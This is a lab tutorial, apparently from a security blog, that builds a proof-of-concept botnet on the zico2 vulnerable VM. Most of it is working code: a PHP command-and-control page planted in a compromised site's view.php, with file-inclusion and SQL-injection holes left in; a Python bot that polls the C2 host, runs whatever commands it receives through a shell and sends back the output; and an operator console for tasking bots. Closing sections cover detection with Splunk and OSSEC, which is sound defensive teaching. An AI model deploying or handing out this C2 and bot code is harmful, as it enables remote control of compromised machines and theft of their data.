To explore this topic, I am going to start by going through the process backwards. I am going to start by first exploring how the control of the infected computer occurs as it becomes a bot.
I am going to use the zico2 virtual machine as if it was a web server on the internet. My host as the controller of the bots through the web server and then will simulate some infected computers that communicate to the web server.
1. We are going to use PHPLiteAdmin to create a SQLite3 database called command. Then a table called botInfo with 6 fields as shown below in the screenshot.
2. Walking through the table, the machineID is the unique identifier of the bot, osType is whether it is linux or windows, httpCommand is the command that is pending to be run on the bot, httpResults are the results of the command, and executed if the httpCommand was executed.
3. If you observe the permissions of the view.php file under /var/www the zico account has access to modify the file. You need to figure out how to login with the zico account to continue with this exercise.
4. Through the previous walkthrough we identified that the www-data user is being utilized to run the website. With the above permissions this user also has the ability to modify the website.
Challenge: Correct the permissions so that the pages will still load but the www-data does not have permission to write to the www directory, the files and any directories.
5. Let's modify the view.php file to be used as the file for our command and control (C2) server.
Below is the code that is above with exception to the first and last lines. You may need to reformat the code as you copy it out.
if ($_GET['page']) {
$page =$_GET['page'];
include("/var/www/".$page);
}
elseif ($_GET['action']) {
$action=$_GET['action'];
if ($action=='getCommand') {
# Example URL to Test: http://172.16.216.132/view.php?action=getCommand&mID=test
$machineID=$_GET['mID'];
$db = new SQLite3('/usr/databases/command');
$query = 'SELECT id, httpCommand FROM botInfo WHERE machineID="' . $machineID . '" AND executed="N" LIMIT 1';
$results = $db->query($query);
if (count($results) > 0) {
while ($row = $results->fetchArray()) {
echo $row[0] . "|" . $row[1];
}
}
else {
echo "Nothing";
}
}
elseif ($action=='addBot') {
# Example URL to Test: http://172.16.216.132/view.php?action=addBot&mID=test27
$machineID=$_GET['mID'];
$db = new SQLite3('/usr/databases/command');
$query = "INSERT INTO botInfo (machineID, httpCommand, executed) VALUES('" . $machineID . "','" . base64_encode('ls') . "','N')";
echo $query;
$results = $db->exec($query);
echo "Added";
}
}
elseif ($_POST['action']) {
$action=$_POST['action'];
if ($action=='postCommand') {
# Example to test with: curl -d "action=postCommand&mID=test&id=1&httpResults=test9" -X POST http://172.16.216.132/view.php
$machineID=$_POST['mID'];
$id=$_POST['id'];
$httpResults=$_POST['httpResults'];
$db = new SQLite3('/usr/databases/command');
$query = 'UPDATE botInfo SET httpResults="' . $httpResults . '", executed="Y" WHERE id=' . $id . ' AND machineID="' . $machineID . '"';
$results = $db->exec($query);
echo "Completed";
}
}
else {
echo "view.php?page=tools.html";
}
6. Quickly I will step through the code above. The page initially would allow you to pass the parameter of page with the tools.html file. This could also be used to conduct directory traversal to access files throughout the file system that the www-data user could read.
We added if the parameter action with the value of getCommand and mID (machineID) was passed then we would query the sqlite3 database for the 1st command that needed to be executed on the infected host. Then return it as if it was the web page viewed in a web browser. Remember information passed as a GET parameter, will by default show in the logs of the web server.
The other action is to add a new bot to the database. This is if a new computer comes on that is infected with our proof-of-concept executable.
The second section is if the POST parameter of action with it being postCommand, would indicate the bot executed the given command and is returning through the httpResults the results of the command. Then return as a web page that the action was "Completed".
7. Well that was simple. Let's move on. We are now going to create the bot, this would be proof-of-concept code that would run on an infected computer to control it. I am going to utilize python.
8. Below is the code for a python bot that will communicate with the PHP page called view.php.
#!/usr/bin/python
# Building this bot to only work with linux
# Built for educational use only...
import base64
import hashlib
import random
import datetime
import urllib
import urllib2
import time
import subprocess
c2server="http://172.16.216.132/view.php"
sleepTime = 10 # Sleep for 10 seconds between requests going to the c2server
def generateMachineID():
# This function generates a random machine ID based on the time and a random number
machineID = str(datetime.datetime.now()) + str(random.randint(1,10000))
machineID = hashlib.sha1(machineID).hexdigest() # Will return as machineID
return machineID
def addBot(mID):
# This function adds the bot to the C2Servers SQLite3 database
url = c2server + "?action=addBot&mID=" + mID
urllib2.urlopen(url).read()
def getCommand(mID):
# This function gets the next command from the C2 to execute
url = c2server + "?action=getCommand&mID=" + mID
u = urllib2.urlopen(url)
i = u.read()
info = i.split("|")
print "Received - Task ID: " + info[0] + "\tCommand: " + base64.b64decode(info[1])
return info[0], info[1]
def execCommand(c):
# This function takes the command it received and eecutes it
c = base64.b64decode(c)
comExec = subprocess.Popen(str(c), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comExec.communicate()
if STDOUT:
encodedOutput = base64.b64encode(STDOUT)
else:
encodedOutput = base64.b64encode("Invalid Command...")
return encodedOutput
def postCommand(mID, tID, r):
# This function returns to the c2server the results of the command
url = c2server
data = urllib.urlencode({'action' : 'postCommand',
'mID' : mID,
'id' : tID,
'httpResults' : r})
u = urllib2.urlopen(url=url, data=data)
def main():
machineID = generateMachineID() # Generate a random machine identifier
addBot(machineID) # Communicate to the C2 Server and Add this bot
while True: # Don't exit until program fails
time.sleep(sleepTime) # Wait for the specified time
taskID, command = getCommand(machineID)
if base64.b64decode(command)=='Nothing':
time.sleep(sleepTime*3)
else:
time.sleep(sleepTime)
results = execCommand(command)
time.sleep(sleepTime)
postCommand(machineID, taskID, results)
if __name__ == "__main__":
main()
To talk through the code. It generates a unique machine ID, then adds the bot machine ID to the database housed on the site, gets a command if it exists, executes the command and then posts the results back to the site.9. The bot if configured correctly will persist on the system and be triggered to start or restart based on a scheduled task or an action taken by the user.
10. Awesome, now we need an administration script to manage what commands we want the bots to execute, fetch the results and remove the tasks from the SQLite3 database to keep it cleaned out. This will require us to add to the view.php page and build a new python script to conduct the actions.
Below is the python script for the administration of the bots through view.php.
#!/usr/bin/python
# Building this utility to only work with linux
# Built for educational use only...
import base64
import urllib
import urllib2
c2server="http://172.16.216.132/view.php"
sleepTime = 10 # Sleep for 10 seconds between requests going to the c2server
log = open('log.txt','a')
def getExecuted():
# This function gets the machine IDs that are in the database
url = c2server + "?action=getExecuted"
u = urllib2.urlopen(url)
i = u.read()
items = i.split('|')
if items[1] == "Nothing":
print "No commands executed to be return..."
return "Nothing"
else:
print "Task ID: " + items[0]
print "Bot ID: " + items[1]
print "$> " + base64.b64decode(items[2])
print base64.b64decode(items[3])
print
# Record to a log file for future reference...
log.write("BotID: " + items[1] + "\n")
log.write("?> " + base64.b64decode(items[2]) + "\n")
log.write(base64.b64decode(items[3]) + "\n\n")
return items[1]
return "Nothing"
def selectBot(botList):
count = 1
for b in botList:
print str(count) + ". " + b
count=count+1
print
select = raw_input("> ");
botNumber = int(select) - 1
return botList[botNumber]
def sendCommand(b):
command = raw_input("Command> ")
url = c2server + "?action=sendCommand&mID=" + b + "&httpCommand=" + base64.b64encode(command)
urllib2.urlopen(url).read()
print
print "Sent the command: " + command
def purgeOld():
url = c2server + "?action=purge"
urllib2.urlopen(url).read()
print
print "Sent command to purge old information."
def main():
bots = []
botSelected = 'None'
while True:
print
print "C2 Server URL: " + c2server
print "1. Get Executed Commands"
print "2. Select Bot - Currently Selected: " + botSelected
print "3. Send Command to Execute"
print "9. Purge Old Commands"
print "Q. Quit"
print
selection = raw_input("> ")
if selection == "1":
newBot = getExecuted()
if newBot <> "Nothing":
if newBot not in bots:
bots.append(newBot)
print "Added bot: " + newBot
elif selection == "2":
botSelected = selectBot(bots)
elif selection == "3":
sendCommand(botSelected)
elif selection == "9":
purgeOld()
elif selection.lower() == "q":
log.close()
exit(0)
if __name__ == "__main__":
main()
To walk through the above code. You are presented with a menu. If bots are running you can retrieve the executed commands. The command is displayed and logged if available. Then you can select the bot and then send commands back to the database to be executed. You can also purge old commands.
11. Now that we have a script to administrate the bots, let's add to the view.php file the following 3 sections underneath the addBot elseif.
elseif ($action=='sendCommand') {
# Example URL to Test: http://172.16.216.132/view.php?action=sendCommand&mID=test27&httpCommand=dddd
$machineID=$_GET['mID'];
$command=$_GET['httpCommand'];
$db = new SQLite3('/usr/databases/command');
$query = "INSERT INTO botInfo (machineID, httpCommand, executed) VALUES('" . $machineID . "','" . $command . "','N')";
$results = $db->exec($query);
echo "Added Command";
}
elseif ($action=='getExecuted') {
# Example URL to Test: http://172.16.216.132/view.php?action=getExecuted
$db = new SQLite3('/usr/databases/command');
$query = "SELECT count(*) FROM botInfo WHERE executed='Y' LIMIT 1";
$results = $db->query($query);
while ($row = $results->fetchArray()) {
$rows = $row[0]; # Calculate the rows returned by the query
}
if ($rows > 0) { # If number of rows is greater than 0 then continue
$taskID = 0;
$query = "SELECT id, machineID, httpCommand, httpResults FROM botInfo WHERE executed='Y' LIMIT 1";
$results = $db->query($query);
while ($row = $results->fetchArray()) {
echo $row[0] . "|" . $row[1] . "|" . $row[2] . "|" . $row[3];
$taskID = $row[0];
}
$query = "UPDATE botInfo SET executed='D' WHERE id=" . $taskID;
$results = $db->exec($query);
}
else {
echo "Nothing|Nothing|Nothing|Nothing";
}
}
elseif ($action=='purge') {
# Example URL to Test: http://172.16.216.132/view.php?action=purge
$db = new SQLite3('/usr/databases/command');
$query = "DELETE FROM botInfo WHERE executed='D'";
$results = $db->exec($query);
echo "Purged";
}
To walk through the above commands added to view.php. Send command is where the admin console sends in a command to be run by a specific bot or machineID.The getExecuted action is to gather and return commands that have been executed.
Then the action of purge will purge the rows in the database that have been executed and returned to the admin console.
12. Now let's test our proof-of-concept. I am using my host to launch a program called "Terminator". Terminator allows you to split the window into multiple terminal windows. Below are screenshots of the admin console and 4 bots running on my host simulating a small botnet. Also what the SQLite3 database looks like.
The 4 bots communicating:
The admin console communicating with the 4 bots through the web page:
What the SQLite3 database looks like:
13. Now that we can simulate a botnet let's see what it looks like in Splunk as the logs from the web server are read by the forwarder.
Challenge: Setup the botnet with a simulation of 4 bots, the zico2 vulnerable web server and an admin console.
Challenge: Setup the Splunk Forwarder to send the logs to a Splunk Server docker instance. Study the logs and identify the bot activity.
14. Understanding that if a web site if compromised a miscreant may change files. This is where a file integrity monitor (FIM) solution is helpful. On of the many tools is called OSSEC. You can setup OSSEC to record a log file and then the Splunk Forwarder can send the logs.
Challenge: Setup OSSEC to watch the /var/www directory for file changes. Change view.php and then resave it and verify that the log detects it.
Challenge: Setup Splunk to receive the OSSEC logs.
The files that were created above can be pulled from my Github page located at here.
Challenge: What is pivoting, as it is defined in penetration testing?
Challenge: If you had the access that the bot has what would you look for to escalate privileges.
The goal of the post is for you to understand how a botnet may function, how a C2 Server may function and then tools and techniques that you can use to detect a bot or detect when a site has been compromised.